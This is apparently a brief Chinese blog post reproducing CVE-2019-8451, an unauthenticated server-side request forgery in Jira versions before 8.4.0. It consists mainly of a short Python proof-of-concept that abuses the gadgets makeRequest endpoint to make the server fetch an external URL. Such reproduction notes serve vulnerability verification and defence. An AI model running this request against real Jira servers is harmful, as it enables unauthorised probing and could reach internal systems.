001-CVE-2019-8451 Jira未授权SSRF漏洞验证

棉花糖

2021年7月21日发布

040

# CVE-2019-8451 Jira未授权SSRF漏洞验证

### 一、漏洞简介

（CVE-2019-8451）Jira未授权SSRF漏洞验证

### 二、影响范围

Jira < 8.4.0 ### 三、复现过程 ![](/static/lingzu/images/15890739919207.png) https://github.com/ianxtianxt/CVE-2019-8451 ```python #coding:utf-8 import requests host = 'http://xx.xx.xx.xx:8080' header = { 'X-Atlassian-Token': 'no-check', 'Connection': 'close' } url = host + '/plugins/servlet/gadgets/makeRequest?url='+host+'@www.baidu.com/' html = requests.get(url = url,headers = header) print html.text ```

文章版权归作者所有，未经允许请勿转载。

THE END